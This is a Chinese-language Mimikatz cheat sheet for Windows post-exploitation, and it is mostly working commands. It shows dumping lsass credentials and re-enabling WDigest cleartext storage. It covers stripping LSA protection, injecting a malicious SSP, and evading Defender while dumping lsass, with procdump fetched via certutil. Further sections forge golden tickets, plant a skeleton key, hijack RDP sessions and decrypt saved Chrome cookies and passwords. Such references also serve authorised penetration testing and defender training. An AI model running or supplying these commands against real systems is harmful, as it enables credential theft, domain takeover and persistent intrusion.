Mimikatz
目录 (Summary)
- 执行命令 (Execute commands)
- 提取密码 (Extract passwords)
- LSA 保护绕过方案 (LSA Protection Workaround)
- 最小化转储 (Mini Dump)
- 哈希传递 (Pass The Hash)
- 黄金票据 (Golden ticket)
- 万能钥匙 (Skeleton key)
- RDP 会话接管 (RDP Session Takeover)
- RDP 密码
- 凭据管理器与 DPAPI (Credential Manager & DPAPI)
- 命令列表 (Commands list)
- Powershell 版本
- 参考资料 (References)

执行命令 (Execute commands)
仅执行一条命令
Mimikatz 控制台(执行多条命令)
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
提取密码 (Extract passwords)
自 Win8.1 / 2012R2+ 起,微软禁用了 lsass 的明文存储。虽然该项改动 (KB2871997) 以后补丁形式作为注册表项引入了 Win7 / 8 / 2008R2 / 2012,但明文存储仍默认启用。
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# 在 Windows Server 2012+ 中重新启用 wdigest
# 在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest 下
# 创建一个名为 'UseLogonCredential' 的 DWORD 值,并设置为 1。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
为了使设置生效,需要满足以下条件:
- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
- 启用需锁屏 (Lock)
- 禁用需注销 (Signout)
- Win10:
- 启用需注销
- 禁用需注销
- Win2016:
- 启用需锁屏
- 禁用需重启
LSA 保护绕过方案 (LSA Protection Workaround)
- LSA 作为保护进程 (PPL) 运行 (RunAsPPL)
# 通过检查变量 "RunAsPPL" 是否设置为 0x1 来确认 LSA 是否作为保护进程运行
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# 接着,从正版 mimikatz 仓库下载 mimidriver.sys 到 mimikatz.exe 所在的文件夹
# 现在我们将 mimidriver.sys 导入系统
mimikatz # !+
# 现在移除 lsass.exe 进程的保护标志
mimikatz # !processprotect /process:lsass.exe /remove
# 最后运行 logonpasswords 函数来转储 lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
# 重新为 lsass.exe 进程添加保护标志
mimikatz # !processprotect /process:lsass.exe
# 卸载创建的服务
mimikatz # !-
# 使用 PPLdump 绕过
# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <进程名称|进程ID> <转储文件名>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
- LSA 正作为受 Credential Guard 保护的虚拟化进程 (LSAISO) 运行
# 检查运行中的进程中是否存在名为 lsaiso.exe 的进程
tasklist |findstr lsaiso
# 向内存注入我们自己的恶意安全支持提供者 (SSP)
# 需要在同级目录下放置 mimilib.dll
mimikatz # misc::memssp
# 此后,该机器上的每个用户会话及身份验证都会被记录,明文凭据将被捕获并转储到 c:\windows\system32\mimilsa.log
最小化转储 (Mini Dump)
使用 procdump 转储 lsass 进程
当对 lsass 进行内存转储操作时,会触发 Windows Defender,从而很快导致转储文件被删除。使用 lsass 的进程标识符 (pid) 可以“绕过”这一限制。
# HTTP 方式 —— 使用默认路径
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB 方式 —— 使用 pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # 查找 lsass 的 pid
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
使用 rundll32 转储 lsass 进程
利用转储文件:
- Mimikatz:
.\mimikatz.exe "sekurlsa::minidump lsass.dmp"
- Pypykatz:
pypykatz lsa minidump lsass.dmp
哈希传递 (Pass The Hash)
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
黄金票据 (Golden ticket)
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
万能钥匙 (Skeleton key)
privilege::debug
misc::skeleton
# 映射共享
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# 以某人身份登录
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
RDP 会话接管 (RDP Session Takeover)
使用 ts::multirdp 为 RDP 服务打补丁,以允许超过两个用户同时在线。
- 启用权限
- 列出 RDP 会话
- 劫持会话
以 SYSTEM 用户身份运行 tscon.exe,你可以在没有密码的情况下连接到任何会话。
# 获取你想要劫持的会话 ID
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
RDP 密码
验证服务是否正在运行:
sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
- 手动提取密码
- 使用 Mimikatz 提取密码
凭据管理器与 DPAPI (Credential Manager & DPAPI)
# 检查文件夹以寻找凭据
dir C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\*
# 使用 mimikatz 检查文件
$ mimikatz dpapi::cred /in:C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# 查找主密钥 (Master Key)
$ mimikatz !sekurlsa::dpapi
# 使用主密钥
$ mimikatz dpapi::cred /in:C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Chrome Cookie 与凭据
# 已保存的 Cookie
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
# Chrome 中保存的凭据
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
计划任务凭据 (Task Scheduled credentials)
mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
UserName : DOMAIN\user
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Attributes : 0
保险箱 (Vault)
命令列表 (Commands list)
| 命令 | 定义 |
|---|---|
| CRYPTO::Certificates | 列出/导出证书 |
| KERBEROS::Golden | 创建黄金/白银/信任票据 |
| KERBEROS::List | 列出用户内存中所有的用户票据 (TGT 和 TGS)。无需特殊权限,因为它仅显示当前用户的票据。功能类似于 "klist"。 |
| KERBEROS::PTT | 票据传递 (Pass The Ticket)。通常用于注入窃取的或伪造的 Kerberos 票据(黄金/白银/信任)。 |
| LSADUMP::DCSync | 向域控 (DC) 请求同步对象(获取账户的密码数据)。无需在域控上运行代码。 |
| LSADUMP::LSA | 向 LSA 服务请求检索 SAM/AD 企业级凭证(正常读取、在线补丁或注入)。用于从域控或 lsass.dmp 转储文件中转储所有活动目录域凭据。也用于通过参数 /name 获取特定账户凭据,例如 krbtgt:/name:krbtgt。 |
| LSADUMP::SAM | 获取 SysKey 以解密 SAM 条目(从注册表或 Hive 中读取)。SAM 选项连接并转储本地安全账户管理器 (SAM) 数据库中的本地账户凭据。用于转储 Windows 计算机上的所有本地凭据。 |
| LSADUMP::Trust | 向 LSA 服务请求检索信任认证信息(正常读取或在线补丁)。转储所有关联信任(域/林)的信任密钥(密码)。 |
| MISC::AddSid | 将 SIDHistory 添加到用户账户。第一个值是目标账户,第二个值是账户/组名(或 SID)。自 2016 年 5 月 6 日起已移至 SID::modify。 |
| MISC::MemSSP | 注入恶意的 Windows SSP 以记录本地验证的凭据。 |
| MISC::Skeleton | 向域控上的 LSASS 进程注入万能钥匙 (Skeleton Key)。这使得所有连接到该补丁 DC 的用户既能使用其原有密码,也能使用“主密码”(即万能钥匙)进行身份验证。 |
| PRIVILEGE::Debug | 获取调试权限(许多 Mimikatz 命令都需要此权限或 Local System 权限)。 |
| SEKURLSA::Ekeys | 列出 Kerberos 加密密钥 |
| SEKURLSA::Kerberos | 列出所有已验证用户(包括服务和计算机账户)的 Kerberos 凭据 |
| SEKURLSA::Krbtgt | 获取域 Kerberos 服务账户 (KRBTGT) 的密码数据 |
| SEKURLSA::LogonPasswords | 列出所有可用的提供商凭据。通常显示最近登录的用户和计算机凭据。 |
| SEKURLSA::Pth | 哈希传递 (Pass-the-Hash) 和 Over-Pass-the-Hash |
| SEKURLSA::Tickets | 列出最近所有已验证用户的可用 Kerberos 票据,包括在用户账户上下文中运行的服务以及本地计算机的 AD 计算机账户。与 kerberos::list 不同,sekurlsa 使用内存读取且不受密钥导出限制。sekurlsa 可以访问其他会话(用户)的票据。 |
| TOKEN::List | 列出系统中所有的令牌 (Token) |
| TOKEN::Elevate | 模拟令牌。用于提升权限至 SYSTEM(默认)或在机器上查找域管令牌。 |
| TOKEN::Elevate /domainadmin | 模拟具有域管理员凭据的令牌。 |
Powershell 版本
Mimikatz 的内存运行版本(磁盘上不留二进制文件):
- 来自 PowerShellEmpire 的 Invoke-Mimikatz
- 来自 PowerSploit 的 Invoke-Mimikatz
还可以利用以下工具从内存中抓取更多信息: